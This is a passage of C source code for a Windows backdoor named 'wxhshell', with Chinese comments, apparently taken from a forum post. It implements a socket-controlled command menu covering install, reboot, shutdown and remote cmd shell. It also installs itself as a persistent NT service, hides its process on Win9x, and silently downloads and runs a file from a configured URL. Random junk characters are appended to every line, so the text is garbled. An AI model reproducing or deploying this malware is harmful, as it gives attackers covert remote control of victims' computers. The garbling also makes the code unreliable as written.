  else { /2&c$9=1  
)v'WWwXY>  
    switch(cmd[0]) { )HEa<P^kJl  
  >xN .F/[K  
  // 帮助 fBU`k_  
  case '?': { P0;n9>g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iDpSj!x/_  
    break; Sj3+l7S?  
  } '+@=ILj>  
  // 安装 *I B4[6  
  case 'i': { %Tfbsyf%f  
    if(Install()) >R'F,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[B<~  
    else lqy Qf$t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T~-ycVc  
    break; irZ])a  
    } F/ ]2G^-  
  // 卸载 |NlO7aQ>2H  
  case 'r': { 91/Q9xY  
    if(Uninstall()) \<bx [,?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n3WlZ!$  
    else Lw1Yvtn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gM&{=WDG6  
    break; [DuttFX^x  
    }  -uS!\  
  // 显示 wxhshell 所在路径 IYv`IS"  
  case 'p': { _YRFet[,m  
    char svExeFile[MAX_PATH]; )+#` CIv  
    strcpy(svExeFile,"\n\r"); @@f"%2ZR[  
      strcat(svExeFile,ExeFile); 7^avpf)>  
        send(wsh,svExeFile,strlen(svExeFile),0); nkPh,X\N0  
    break; :@Pl pF K  
    } Cp\6W[2+B  
  // 重启 {qk1_yP  
  case 'b': { PrqlTT}Px  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l]5K N  
    if(Boot(REBOOT)) }{Pp]*I<A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Z3su^XR  
    else { }:zE< bK  
    closesocket(wsh); +|3@=.V  
    ExitThread(0); v&\Q8!r_  
    } g&L!1<, p  
    break; HZE#Ab*L  
    } iI T;K@&  
  // 关机 M/f<A$xx_  
  case 'd': { AYBns]!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C[cbbp  
    if(Boot(SHUTDOWN)) As&Sq-NWf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^dWa;m]l  
    else { ~ah~cwmpS  
    closesocket(wsh); kt#fMd$  
    ExitThread(0); _;S-x  
    } ),%%$G\  
    break; tAd%#:K  
    } z _$%-6  
  // 获取shell ,&A7iO  
  case 's': { XT%nbh&y  
    CmdShell(wsh); 8 /]S^'>  
    closesocket(wsh); B3`5O[ 6  
    ExitThread(0); #lo6c;*m5  
    break; QE+g j8  
  } &J]K3w1p  
  // 退出 #P9~}JB3,  
  case 'x': { 9.M4o[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HVCe;eI  
    CloseIt(wsh); x;KOqfawv  
    break; )AtD}HEv  
    } oSKXt}sh  
  // 离开 [85spub&}  
  case 'q': { 3*XNV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t>RY7C;PuS  
    closesocket(wsh); ,-LwtePJ0  
    WSACleanup(); M/'sl;  
    exit(1); 558V_y:  
    break; ~W'{p  
        } 49c:V,  
  } M)+H{5bt  
  } =ho}oL,ZO  
lv<*7BCp  
  // 提示信息 ek\ xx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HZB>{O  
} D/xbF`  
  } /9*B)m"  
7>0o&  
  return; %lhEM}Sm  
} [PM 2\#K  
`2WFk8) F  
// shell模块句柄 6I4\q.^qw  
int CmdShell(SOCKET sock) x"=f+Mr  
{ Gr'  CtO  
STARTUPINFO si; N,AQsloL7  
ZeroMemory(&si,sizeof(si)); 6:5I26  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8I?Wt W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O, wJR  
PROCESS_INFORMATION ProcessInfo; -UEZ#Q  
char cmdline[]="cmd"; z+wA rPxc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ItVWO:x&v  
  return 0;  / }X1W  
} qvsd5PeCO  
(!aNq(   
// 自身启动模式 W~; `WR;.  
int StartFromService(void) Tya1/w4  
{ ||= )d&  
typedef struct Dlae;5 D  
{ )h4 f\0  
  DWORD ExitStatus; M61xPq8y5  
  DWORD PebBaseAddress; *8Xh(` Mj7  
  DWORD AffinityMask; y/{fX(aV  
  DWORD BasePriority; )JLdO*H  
  ULONG UniqueProcessId; 7 :xfPx  
  ULONG InheritedFromUniqueProcessId; W=><)miQ@  
}   PROCESS_BASIC_INFORMATION; KIf dafRL  
c /HHy,  
PROCNTQSIP NtQueryInformationProcess; =_2jK0+}l  
5h-SCB>P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R6.hA_ih  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [)M%cyQ  
T|eu  
  HANDLE             hProcess; TH&U j1  
  PROCESS_BASIC_INFORMATION pbi; b9J_1Gl]  
)._;~z!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '(f*2eE:  
  if(NULL == hInst ) return 0; ^A$Zw+P  
L^2%1GfE{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fI}to&qk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?%-DfCS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x7&B$.>3  
 EoR}Af  
  if (!NtQueryInformationProcess) return 0; ]Kt6^|S$a  
]?kZni8j_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F3@phu${  
  if(!hProcess) return 0; 5h=}j  
KE5kOU;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '4+ ur`  
:Uzm  
  CloseHandle(hProcess); x;P_1J%Q  
_?m(V=z>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mI-]/:  
if(hProcess==NULL) return 0; \O3m9,a   
JxdDC^> 0  
HMODULE hMod; X1x#6 oi  
char procName[255]; S"bg9o  
unsigned long cbNeeded; en4k/w_  
jUYWrYJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NqazpB*  
*eTqVG.  
  CloseHandle(hProcess); N]Y d9tn{  
#C74z$  
if(strstr(procName,"services")) return 1; // 以服务启动 OhQgF  
`!;_ho  
  return 0; // 注册表启动 ;40/yl3r3[  
} 17%,7P9pg  
FF`T\&u  
// 主模块 P:K5",)  
int StartWxhshell(LPSTR lpCmdLine) mA}TJz  
{ wY{-BuXv  
  SOCKET wsl; 8?#/o c  
BOOL val=TRUE; @su^0 9n  
  int port=0; KEo ,m  
  struct sockaddr_in door; #?aPisV X>  
g#pr yYz  
  if(wscfg.ws_autoins) Install(); ed{ -/l~j  
w,p PYf/t  
port=atoi(lpCmdLine); ouvA~/5  
+< Nn~1  
if(port<=0) port=wscfg.ws_port; ~|D Ut   
X6w6%fzOH>  
  WSADATA data; Ytp(aE:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !7O+ogL  
Z!a =dnwHz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p}z<Fdu 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6m/r+?'  
  door.sin_family = AF_INET; w_"E*9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IYE~t  
  door.sin_port = htons(port); hlvK5Z   
t9GR69v:?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oz\!V*CtK  
closesocket(wsl); :".ARCg  
return 1; ,a{P4Bq  
} jh?H.;**  
,\W 8b-Z  
  if(listen(wsl,2) == INVALID_SOCKET) { wy<S;   
closesocket(wsl); kf\PioD8  
return 1; niMsQ  
} ^  glri$m  
  Wxhshell(wsl); imhwY#D  
  WSACleanup(); Di,^%  
R"/GQ`^AqA  
return 0; p}}R-D&K  
"=HA Y  
} K(e$esLs-  
XAD- 'i  
// 以NT服务方式启动 nSDMOyj+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k>Is:P  
{ $8)+XmsCr  
DWORD   status = 0; <`8n^m*  
  DWORD   specificError = 0xfffffff; ;>%r9pz ~  
\i>?q   
  serviceStatus.dwServiceType     = SERVICE_WIN32; |"q5sym8Y_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ko| d+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g.k"]lP  
  serviceStatus.dwWin32ExitCode     = 0; gi3F` m  
  serviceStatus.dwServiceSpecificExitCode = 0; 0Uz"^xO["  
  serviceStatus.dwCheckPoint       = 0; M5 LfRBO  
  serviceStatus.dwWaitHint       = 0; z#9aP&8Q  
MVpGWTH@F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i'<[DjMDlm  
  if (hServiceStatusHandle==0) return; ;DQ ZT  
+zqn<<9  
status = GetLastError(); d"1]4.c  
  if (status!=NO_ERROR) 1 &jc/*Z"  
{ Y sC>i`n9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gm&Za,4%4  
    serviceStatus.dwCheckPoint       = 0; ^cC,.Fdw  
    serviceStatus.dwWaitHint       = 0; c1(RuP:S  
    serviceStatus.dwWin32ExitCode     = status; +%z> H"J.  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5+4IN5o]=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZoW?nxY  
    return; G6Axs1a  
  } UkwP  
6xmZXp d!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f].h^ ~.q  
  serviceStatus.dwCheckPoint       = 0; (*9$`!wS  
  serviceStatus.dwWaitHint       = 0; [T4J{y64Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Xhm`rH  
} sjHE/qmq-Z  
;3coP{  
// 处理NT服务事件,比如:启动、停止 Ux!p8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W &W5lArr  
{ (62"8iD6  
switch(fdwControl) h|9L5  
{  #4NaL  
case SERVICE_CONTROL_STOP: =+-UJo5  
  serviceStatus.dwWin32ExitCode = 0; 8}x:`vDK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V*;(kEqj  
  serviceStatus.dwCheckPoint   = 0; ij`w} V  
  serviceStatus.dwWaitHint     = 0; e;q!6%  
  { B2vh-%63  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \fLMr\LL&  
  } ./Zk`-OBT  
  return; 2DDtu[}  
case SERVICE_CONTROL_PAUSE: ;u ({\K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i v38p%Zm  
  break; E?f-wQF  
case SERVICE_CONTROL_CONTINUE: |kg7LP3(8,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "Qc7dRmSxm  
  break; YQvD|x  
case SERVICE_CONTROL_INTERROGATE: X=&ET)8-Y  
  break; 9d659i C  
}; Ykw*&opz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1<@W6@]  
} `wEb<H  
zT]8KA   
// 标准应用程序主函数 N/2 T[s_&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !>&o01i  
{ ]y '>=a|T  
I-*S&SiXjI  
// 获取操作系统版本 9wwqcx)3(  
OsIsNt=GetOsVer(); :Yh+>c}N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D?_Zl;bQ'^  
_S1>j7RQo  
  // 从命令行安装 ;bib/  
  if(strpbrk(lpCmdLine,"iI")) Install(); P l]O\vh  
_C?hHWSf"  
  // 下载执行文件 *Kg ks4  
if(wscfg.ws_downexe) { mxC;?s;~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1~ 3_^3OT  
  WinExec(wscfg.ws_filenam,SW_HIDE); sIGMA$EK  
} ?P`K7  
3yF,ak {Sl  
if(!OsIsNt) { $|@@Qk/T  
// 如果时win9x,隐藏进程并且设置为注册表启动  "Og7rl  
HideProc(); $ @`V  
StartWxhshell(lpCmdLine); 0@iY:aF  
} Ckuh:bs  
else UECK:61Me  
  if(StartFromService()) *fS"ym@  
  // 以服务方式启动 <)c)%'v  
  StartServiceCtrlDispatcher(DispatchTable); k"zv~`i'  
else h2]P]@nW;W  
  // 普通方式启动 oIzj,v8$  
  StartWxhshell(lpCmdLine); XJ| <?   
k9 I%PH  
return 0; 37.S\ gO]  
}
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只看该作者 1 发表于: 2006-10-10
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